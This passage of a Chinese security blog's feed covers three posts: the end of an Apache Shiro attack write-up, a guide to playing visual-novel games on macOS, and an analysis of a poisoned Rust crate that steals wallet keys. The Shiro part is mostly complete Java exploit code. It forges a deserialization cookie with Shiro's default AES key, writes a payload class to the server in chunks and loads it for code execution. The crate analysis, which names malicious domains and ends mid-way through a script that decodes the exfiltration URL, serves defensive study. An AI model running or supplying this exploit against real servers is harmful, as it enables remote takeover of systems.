class="operator">=</span> obj.getClass().getDeclaredField(field);</span><br><span class="line">        f.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        f.set(obj, val);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">targetPath</span> <span class="operator">=</span> <span class="string">&quot;/tmp/payload.txt&quot;</span>;</span><br><span class="line">        <span class="type">String</span> <span class="variable">part1</span> <span class="operator">=</span> <span class="string">&quot;hellofuck&quot;</span>;</span><br><span class="line">        <span class="type">byte</span>[] code = getAppendPayload(targetPath, part1);</span><br><span class="line">        System.out.println(<span class="string">&quot;1: &quot;</span> + makeCookie(code));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行后保存发送到服务器</p><p><img src="https://bfs.iloli.moe/blog/20260302232029359.png" alt="image-20260302232029052"></p><p>会发现成功写进去</p><p><img src="https://bfs.iloli.moe/blog/20260302232130182.png" alt="image-20260302232130010"></p><p>接着就是分块传输这个 payload，步骤太长这里跳过了，然后修改加载这个 payload</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">loaderCmd</span> <span class="operator">=</span> <span class="string">&quot;try &#123;&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  java.io.File f = new java.io.File(\&quot;&quot;</span> + path + <span class="string">&quot;\&quot;);&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  byte[] b = new byte[(int)f.length()];&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  java.io.FileInputStream fis = new java.io.FileInputStream(f);&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  fis.read(b);&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  fis.close();&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  byte[] decoded = org.apache.shiro.codec.Base64.decode(new String(b));&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\&quot;defineClass\&quot;, new Class[]&#123;byte[].class, int.class, int.class&#125;);&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  m.setAccessible(true);&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  Object[] args = new Object[]&#123;decoded, new Integer(0), new Integer(decoded.length)&#125;;&quot;</span> +</span><br><span class="line">        <span class="string">&quot;  m.invoke(Thread.currentThread().getContextClassLoader(), args);&quot;</span> +</span><br><span class="line">        <span class="string">&quot;&#125; catch (Exception e) &#123; &#125;&quot;</span>;</span><br></pre></td></tr></table></figure><p>最后完整的代码如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> exp;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.ClassPool;</span><br><span class="line"><span class="keyword">import</span> javassist.CtClass;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.beanutils.BeanComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.shiro.codec.Base64;</span><br><span class="line"><span class="keyword">import</span> org.apache.shiro.crypto.AesCipherService;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">chunk_exp</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] getAppendPayload(String path, String b64Content) <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">cc</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;App&quot;</span> + System.nanoTime());</span><br><span class="line">        cc.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        <span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span> <span class="string">&quot;try &#123;&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  java.io.FileWriter fw = new java.io.FileWriter(\&quot;&quot;</span> + path + <span class="string">&quot;\&quot;, true);&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  fw.write(\&quot;&quot;</span> + b64Content + <span class="string">&quot;\&quot;);&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  fw.close();&quot;</span> +</span><br><span class="line">                <span class="string">&quot;&#125; catch (Exception e) &#123;&#125;&quot;</span>;</span><br><span class="line">        cc.makeClassInitializer().insertBefore(cmd);</span><br><span class="line">        <span class="keyword">return</span> cc.toBytecode();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] getLoaderPayload(String path) <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">cc</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Lod&quot;</span> + System.nanoTime());</span><br><span class="line">        cc.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        <span class="type">String</span> <span class="variable">loaderCmd</span> <span class="operator">=</span> <span class="string">&quot;try &#123;&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  java.io.File f = new java.io.File(\&quot;&quot;</span> + path + <span class="string">&quot;\&quot;);&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  byte[] b = new byte[(int)f.length()];&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  java.io.FileInputStream fis = new java.io.FileInputStream(f);&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  fis.read(b);&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  fis.close();&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  byte[] decoded = org.apache.shiro.codec.Base64.decode(new String(b));&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\&quot;defineClass\&quot;, new Class[]&#123;byte[].class, int.class, int.class&#125;);&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  m.setAccessible(true);&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  Object[] args = new Object[]&#123;decoded, new Integer(0), new Integer(decoded.length)&#125;;&quot;</span> +</span><br><span class="line">                <span class="string">&quot;  m.invoke(Thread.currentThread().getContextClassLoader(), args);&quot;</span> +</span><br><span class="line">                <span class="string">&quot;&#125; catch (Exception e) &#123; &#125;&quot;</span>;</span><br><span class="line">        cc.makeClassInitializer().insertBefore(loaderCmd);</span><br><span class="line">        <span class="keyword">return</span> cc.toBytecode();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">makeCookie</span><span class="params">(<span class="type">byte</span>[] code)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_bytecodes&quot;</span>, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;code&#125;);</span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_name&quot;</span>, <span class="string">&quot;a&quot;</span>);</span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_tfactory&quot;</span>, <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line">        <span class="type">BeanComparator</span> <span class="variable">comparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BeanComparator</span>(<span class="literal">null</span>);</span><br><span class="line">        PriorityQueue&lt;Object&gt; queue = <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>&lt;&gt;(<span class="number">2</span>, comparator);</span><br><span class="line">        queue.add(<span class="number">1</span>); queue.add(<span class="number">1</span>);</span><br><span class="line">        setFieldValue(comparator, <span class="string">&quot;property&quot;</span>, <span class="string">&quot;outputProperties&quot;</span>);</span><br><span class="line">        setFieldValue(queue, <span class="string">&quot;queue&quot;</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;templates, templates&#125;);</span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">baos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(baos).writeObject(queue);</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;kPH+bIxk5D2deZiIxcaaaA==&quot;</span>;</span><br><span class="line">        <span class="keyword">return</span> Base64.encodeToString(<span class="keyword">new</span> <span class="title class_">AesCipherService</span>().encrypt(baos.toByteArray(), Base64.decode(key)).getBytes());</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setFieldValue</span><span class="params">(Object obj, String field, Object val)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">f</span> <span class="operator">=</span> obj.getClass().getDeclaredField(field);</span><br><span class="line">        f.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        f.set(obj, val);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">targetPath</span> <span class="operator">=</span> <span class="string">&quot;/tmp/payload.txt&quot;</span>;</span><br><span class="line">        <span class="type">String</span> <span class="variable">classPath</span> <span class="operator">=</span> <span class="string">&quot;/Users/icecliffs/Documents/Coding/java_shiro/target/classes/exp/calculator.class&quot;</span>;</span><br><span class="line">        <span class="type">int</span> <span class="variable">chunkSize</span> <span class="operator">=</span> <span class="number">500</span>; <span class="comment">// 每段 Base64 的长度，建议 500-1000 左右</span></span><br><span class="line">        <span class="type">byte</span>[] classBytes = Files.readAllBytes(Paths.get(classPath));</span><br><span class="line">        <span class="type">String</span> <span class="variable">fullBase64</span> <span class="operator">=</span> Base64.encodeToString(classBytes);</span><br><span class="line">        System.out.println(<span class="string">&quot;总 Base64 长度: &quot;</span> + fullBase64.length());</span><br><span class="line">        <span class="comment">// 分块输出</span></span><br><span class="line">        <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; fullBase64.length(); i += chunkSize) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">end</span> <span class="operator">=</span> Math.min(i + chunkSize, fullBase64.length());</span><br><span class="line">            <span class="type">String</span> <span class="variable">part</span> <span class="operator">=</span> fullBase64.substring(i, end);</span><br><span class="line">            <span class="type">byte</span>[] appendCode = getAppendPayload(targetPath, part);</span><br><span class="line">            System.out.println(<span class="string">&quot;第 &quot;</span> + (++count) + <span class="string">&quot; 段 Cookie: &quot;</span> + makeCookie(appendCode));</span><br><span class="line">            System.out.println(<span class="string">&quot;--------------------------------------------------&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">byte</span>[] loaderCode = getLoaderPayload(targetPath);</span><br><span class="line">        System.out.println(makeCookie(loaderCode));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟着执行一遍就可以了</p><p><img src="https://bfs.iloli.moe/blog/20260302232805145.png" alt="image-20260302232804648"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;小吐槽&quot;&gt;&lt;a href=&quot;#小吐槽&quot; class=&quot;headerlink&quot; title=&quot;小吐槽&quot;&gt;&lt;/a&gt;小吐槽&lt;/h2&gt;&lt;p&gt;哈哈，开始之前笔者先来骂下自己，笔者在以前投递过春招和秋招的简历，但是当时投了都石沉大海，那时候就很纳闷为什么参加了若干攻防演练和 </summary>
      
    
    
    
    <category term="Research" scheme="https://iloli.moe/categories/Research/"/>
    
    
    <category term="Security" scheme="https://iloli.moe/tags/Security/"/>
    
    <category term="JavaSec" scheme="https://iloli.moe/tags/JavaSec/"/>
    
    <category term="Web" scheme="https://iloli.moe/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title>How to Elegantly Play Galgames on MacOS</title>
    <link href="https://iloli.moe/2026/03/01/how-to-elegantly-play-galgames-on-macos/"/>
    <id>https://iloli.moe/2026/03/01/how-to-elegantly-play-galgames-on-macos/</id>
    <published>2026-03-01T10:21:03.000Z</published>
    <updated>2026-05-07T04:50:46.611Z</updated>
    
    <content type="html"><![CDATA[<p>纯种二次元怎么能少得了在 MacOS 上游玩 Galgame 的情节呢！</p><h2 id="方案A"><a href="#方案A" class="headerlink" title="方案A"></a>方案A</h2><p>在 MacOS 上游玩 Galgame 实际上非常简单，你需要两个东西</p><ol><li>Crossover</li><li>游戏本体</li></ol><p>然后按照下面这种方式来做配置即可，我这里下载的是《沙耶之歌》</p><p><img src="https://bfs.iloli.moe/blog/20260301182251673.png" alt="image-20260301182240256"></p><p>Crossover 安装过程忽略，我们着重强调下如何配置，首先你得先新建一个 bottle</p><p><img src="https://bfs.iloli.moe/blog/20260301182333197.png" alt="image-20260301182333072"></p><p>其次点开 <code>Run Command</code> &gt; <code>Command</code>，然后配置路径</p><p><img src="https://bfs.iloli.moe/blog/20260301182411596.png" alt="image-20260301182411440"></p><p>一切就绪后，点 <code>Run</code> 按钮即可运行 bottle</p><p><img src="https://bfs.iloli.moe/blog/20260301182503485.png" alt="image-20260301182503368"></p><p>等待一会即可出现游戏界面</p><p><img src="https://bfs.iloli.moe/blog/20260301182549801.png" alt="image-20260301182549473"></p><p>然后就可以愉快的游玩了！</p><p><img src="https://bfs.iloli.moe/blog/20260301182606179.png" alt="image-20260301182606048"></p><p>但是偶尔会有点卡，这时候点开 <code>Install Application into Bottle</code>，安装一下 <code>DirectX</code> 和 <code>Microsoft Visual C++ 2010 (10.0) Redistributable</code>，就不会卡了</p><p><img src="https://bfs.iloli.moe/blog/20260301183759603.png" alt="image-20260301183759327"></p><h2 id="方案B"><a href="#方案B" class="headerlink" title="方案B"></a>方案B</h2><p>直接使用 PD，全称 <a href="https://www.parallels.cn/products/desktop/">Parallels Desktop</a>，本质上就是 Mac 版的 VMware</p><p><img src="https://bfs.iloli.moe/blog/20260309115220192.png" alt="image-20260309115148331"></p><h2 id="优缺点"><a href="#优缺点" class="headerlink" title="优缺点"></a>优缺点</h2><p>简单来说</p><p><strong>方案 A (Crossover)</strong> 胜在<strong>轻量与原生感</strong>，像打开 Mac 软件一样优雅，且不吃配置，但部分老游戏或特殊引擎会有兼容性玄学</p><p><strong>方案 B (PD 虚拟机)</strong> 则是<strong>暴力全能</strong>，只要 Windows 能跑的它都能跑，完美解决乱码，但极度吃内存和硬盘，且风扇容易狂转</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;纯种二次元怎么能少得了在 MacOS 上游玩 Galgame 的情节呢！&lt;/p&gt;
&lt;h2 id=&quot;方案A&quot;&gt;&lt;a href=&quot;#方案A&quot; class=&quot;headerlink&quot; title=&quot;方案A&quot;&gt;&lt;/a&gt;方案A&lt;/h2&gt;&lt;p&gt;在 MacOS 上游玩 Galgame 实际</summary>
      
    
    
    
    <category term="Life" scheme="https://iloli.moe/categories/Life/"/>
    
    
    <category term="Life" scheme="https://iloli.moe/tags/Life/"/>
    
    <category term="Anime" scheme="https://iloli.moe/tags/Anime/"/>
    
  </entry>
  
  <entry>
    <title>Beware of Supply Chain Poisoning Risks in Open Source Polymarket Trading Bots</title>
    <link href="https://iloli.moe/2026/02/24/beware-of-supply-chain-poisoning-risks-in-open-source-polymarket-trading-bots/"/>
    <id>https://iloli.moe/2026/02/24/beware-of-supply-chain-poisoning-risks-in-open-source-polymarket-trading-bots/</id>
    <published>2026-02-24T13:09:14.000Z</published>
    <updated>2026-05-07T04:50:46.607Z</updated>
    
    <content type="html"><![CDATA[<p>警惕开源 Polymarket 交易机器人供应链投毒风险</p><blockquote><p>IOC：<a href="http://www.polymarketapi.xyz/">www.polymarketapi.xyz</a> || data-update.polymarketapi.xyz<br>MD5：63e119d4e3f98a5a9775bd95fd1fb513<br>Filename：redis.exe</p></blockquote><p>前段时间，我的飞书 Github 监控机器人突然多了几条国产化的 Polymarket 市场预测机器人，本着有新东西就要去试试的心态，我大致检查了一下这些仓库的代码，发现有几个仓库存在供应链投毒（运行后可直接盗取私钥），这里仅列举某个仓库。<strong>下图为 Polymarket 关键词截图，与开头描述无关</strong></p><p><img src="https://bfs.iloli.moe/blog/20260224211238122.png"></p><p><strong>友情提示：凡是涉及到金融相关的 Github 项目请仔细检查每一行代码和相关安装包依赖</strong></p><p>这个仓库，根据作者描述，是专门用于预测 Polymarket 5 分钟市场的，虽然说是预测，但实际上只是 AI 生成的答辩罢了</p><p><img src="https://bfs.iloli.moe/blog/20260224211243725.png"></p><p>大致看了一下 README，发现写的有模有样的，但还是有不少端倪，例如一些配置私钥的步骤存在明显的诱导操作</p><p><img src="https://bfs.iloli.moe/blog/20260224210942178.png"></p><p>接着查了一下背景叙事，发现作者一直在推上转发自己的工具，基本上一天能发好几条</p><p><img src="https://bfs.iloli.moe/blog/20260224211248783.png"></p><p>并且注册的 Github 和 X 账号都是新号（风险已经拉满了），比较好玩的是，推上还有一大堆所谓的千粉&#x2F;万粉 KOL 还疯狂的转发这款工具，这里给大家提个醒，但凡你发现 KOL 转发的工具 Star 小于 100 都需要警惕并高度查阅每一行代码，如果不会的可以交给 AI 来看，例如 Claude Code Security</p><p>作者的 Github 仓库</p><p><img src="https://bfs.iloli.moe/blog/20260224212052119.png"></p><p>作者的 X 账号</p><p><img src="https://bfs.iloli.moe/blog/20260224210945930.png"></p><p>截止 2026 年 2 月 24 日，已有人中招，受损金额不算大</p><p><img src="https://bfs.iloli.moe/blog/20260224212054835.png"></p><p>大家都知道，天下没有免费的午餐，有免费的基本上都是培训班开课恰烂钱的，所以我大致审计了一下代码，发现代码基本上都是用 AI 写出来，咱先不说能不能跑吧，这个项目能发到 Github 还能存活这么久简直是个奇迹</p><p><img src="https://bfs.iloli.moe/blog/20260224212101041.png"></p><blockquote><p>顺便给大家科普一个小知识，如果你发现一个项目充斥着大量的 Emoji、大量的渐变颜色、以及花里胡哨的言语、还有用上了非常经典的 Vercel + Next.js，并且拥有一个夸张的背景描述，那么这个项目或者代码大概率是用 AI 写出来的，直接无视即可</p></blockquote><p>整个仓库代码基本上没什么问题（就算有问题我也懒得查了），用 AI 写的有模有样的，唯一的问题就是出现在 <code>Cargo.toml</code>，也就是项目依赖问题，以往 <code>npm</code> 供应链投毒大家都能第一时间在圈子里知道，但是 Rust 不太一样，是允许每个人上传自己的依赖上去并且不经过审查的</p><p><img src="https://bfs.iloli.moe/blog/20260224212058557.png"></p><p>在这个项目的包中引用了一个叫做 <code>rpc-check</code> 的包，我们追踪这个包，发现是一个非常新的包，并且这个包的开发者能和 Github 仓库的开发者对上，由此可见这基本上是一起供应链投毒，做个科普吧，如果你引用了 A，A 引用了 B，B 引用了恶意包 C，那么 C 的代码就会在你的机器上运行，打开查看后发现作者还在更新这个包的代码，并且用上了最新的攻击手法 <strong>（本文仅分析作者刚发版的代码）</strong></p><p><img src="https://bfs.iloli.moe/blog/20260224210945947.png"></p><p>我们点开里面的 Security，会发现已经有人提报安全问题给了 <code>crates.io</code></p><p><img src="https://bfs.iloli.moe/blog/20260224210946912.png"></p><p>具体详见 </p><p><a href="https://rustsec.org/advisories/RUSTSEC-2026-0014.html">https://rustsec.org/advisories/RUSTSEC-2026-0014.html</a></p><p><img src="https://bfs.iloli.moe/blog/20260224212104925.png"></p><p>那么这个包具体做了哪些事情呢？我们通过 <code>docs.rs</code> 来查看该包的源代码</p><p><img src="https://bfs.iloli.moe/blog/20260224210947403.png"></p><p>发现这个包释放了一个 <code>redis.exe</code>，这里还没有人丢到微步分析，丢进去分析后发现是一个 CS 马，具体危害大家懂得都懂</p><p><img src="https://bfs.iloli.moe/blog/20260224212107187.png"></p><p>那么代码在哪里调用到了这个 <code>redis.exe</code> 呢？我们接着访问 <code>src/report.rs</code>，发现代码充斥着大量的混淆，具体详见</p><p><a href="https://docs.rs/crate/rpc-check/latest/source/src/report.rs">https://docs.rs/crate/rpc-check/latest/source/src/report.rs</a></p><p><img src="https://bfs.iloli.moe/blog/20260224210947499.png"></p><p>不过说是混淆，实际上是非常简单的 xor，写个脚本解开后会得到</p><p><img src="https://bfs.iloli.moe/blog/20260224210947508.png"></p><p>其中这个恶意脚本 <code>safe_update.sh</code>，很明显的命令执行</p><p><img src="https://bfs.iloli.moe/blog/20260224210948299.png"></p><p>解码后得到</p><p><img src="https://bfs.iloli.moe/blog/20260224210948722.png"></p><p>具体干什么就不多说了，最后总结一下上文投毒都做了些什么事吧，没工作为爱发电写文章真是辛苦我了</p><h1 id="建立诱饵（Targeting-Phishing）"><a href="#建立诱饵（Targeting-Phishing）" class="headerlink" title="建立诱饵（Targeting &amp; Phishing）"></a>建立诱饵（Targeting &amp; Phishing）</h1><p>筛选目标，瞄准有盈利欲望、且经常接触私钥的 Web3&#x2F;Polymarket 开发者，利用 AI 生成极具欺骗性的 README，通过 GitHub Star 和 X (Twitter) 营销制造“高信誉”假象，诱导受害者下载</p><p><img src="https://bfs.iloli.moe/blog/20260224212109838.png"></p><h1 id="供应链埋伏（Dependency-Injection）"><a href="#供应链埋伏（Dependency-Injection）" class="headerlink" title="供应链埋伏（Dependency Injection）"></a>供应链埋伏（Dependency Injection）</h1><p>信任劫持，攻击者在主项目代码中保持“干净”，将恶意逻辑拆分到第三方依赖包（rpc-check）中，利用 Rust crates.io 无需人工审核的特性发布毒包，并使用与主项目一致的开发者名称，进一步瓦解受害者的戒心</p><p><img src="https://bfs.iloli.moe/blog/20260224210948917.png"></p><h1 id="环境逃逸与自适应（Evasion-Detection）"><a href="#环境逃逸与自适应（Evasion-Detection）" class="headerlink" title="环境逃逸与自适应（Evasion &amp; Detection）"></a>环境逃逸与自适应（Evasion &amp; Detection）</h1><p>混淆对抗，通过简单的 XOR (异或) 运算隐藏敏感 URL 和 Shell 指令，逃避 GitHub 静态扫描和基础杀毒软件的关键词检索，代码根据运行环境（OS）切换攻击策略：Windows 侧重于持久化木马，Linux&#x2F;macOS 侧重于即时脚本执行</p><p><img src="https://bfs.iloli.moe/blog/20260224212112147.png"></p><h1 id="核心资产收割（Data-Exfiltration）"><a href="#核心资产收割（Data-Exfiltration）" class="headerlink" title="核心资产收割（Data Exfiltration）"></a>核心资产收割（Data Exfiltration）</h1><p>定向搜刮，利用 tokio::spawn 开启后台异步任务，在不影响用户正常使用程序的情况下，静默读取 .env 等文件中的 PRIVATE_KEY，通过仿冒域名（如 *.polymarketapi.xyz）接收泄露数据，利用开发者对 API 域名的习惯性忽视掩盖流量异常</p><p><img src="https://bfs.iloli.moe/blog/20260224212113985.png"></p><h1 id="持久化控制（Persistence-Expansion）"><a href="#持久化控制（Persistence-Expansion）" class="headerlink" title="持久化控制（Persistence &amp; Expansion）"></a>持久化控制（Persistence &amp; Expansion）</h1><p>写入伪装成合法工具（如 redis.exe）的远控马（Cobalt Strike），建立长期的命令与控制（C2）通道，黑客获取私钥后，由后端自动化脚本监控地址余额，完成最后的“扫币”动作</p><p><img src="https://bfs.iloli.moe/blog/20260224210949501.png"><br><img src="https://bfs.iloli.moe/blog/20260224210950171.png"></p><p>下面为上文的恶意代码解密脚本，建议使用在线的 rust 编译器来跑，第二次写分析文章，写的不好还请谅解</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">decrypt</span>(bytes: &amp;[<span class="type">u8</span>], key: <span class="type">u8</span>) <span class="punctuation">-&gt;</span> <span class="type">String</span> &#123;</span><br><span class="line">    bytes.<span class="title function_ invoke__">iter</span>().<span class="title function_ invoke__">map</span>(|&amp;c| (c ^ key) <span class="keyword">as</span> <span class="type">char</span>).<span class="title function_ invoke__">collect</span>()</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() &#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">key</span>: <span class="type">u8</span> = <span class="number">0x3b</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 1. _r 函数中的远程接收地址 (用于接收你的私钥)</span></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">url_raw</span>: [<span class="type">u8</span>; <span class="number">45</span>] = [</span><br><span class="line">        <span class="number">0x53</span>, <span class="number">0x4f</span>, <span class="number">0x4f</span>, <span class="number">0x4b</span>, <span class="number">0x01</span>, <span class="number">0x14</span>, <span class="number">0x14</span>, <span class="number">0x5f</span>, <span class="number">0x5a</span>, <span class="number">0x4f</span>, <span class="number">0x5a</span>, <span class="number">0x16</span>,</span><br><span class="line">        <span class="number">0x4e</span>, <span class="number">0x4b</span>, <span class="number">0x5f</span>, <span class="number">0x5a</span>, <span class="number">0x4f</span>, <span class="number">0x5e</span>, <span class="number">0x15</span>, <span class="number">0x4b</span>, <span class="number">0x54</span>, <span class="number">0x57</span>, <span class="number">0x42</span>, <span class="number">0x56</span>,</span><br><span class="line">        <span class="number">0x5a</span>, <span class="number">0x49</span>, <span class="number">0x50</span>, <span class="number">0x5e</span>, <span class="number">0x4f</span>, <span class="number">0x5a</span>, <span class="number">0x4b</span>, <span class="number">0x52</span>, <span class="number">0x15</span>, <span class="number">0x43</span>, <span class="number">0x42</span>, <span class="number">0x41</span>,</span><br><span class="line">        <span class="number">0x14</span>, <span class="number">0x5a</span>, <span class="number">0x4b</span>, <span class="number">0x52</span>, <span 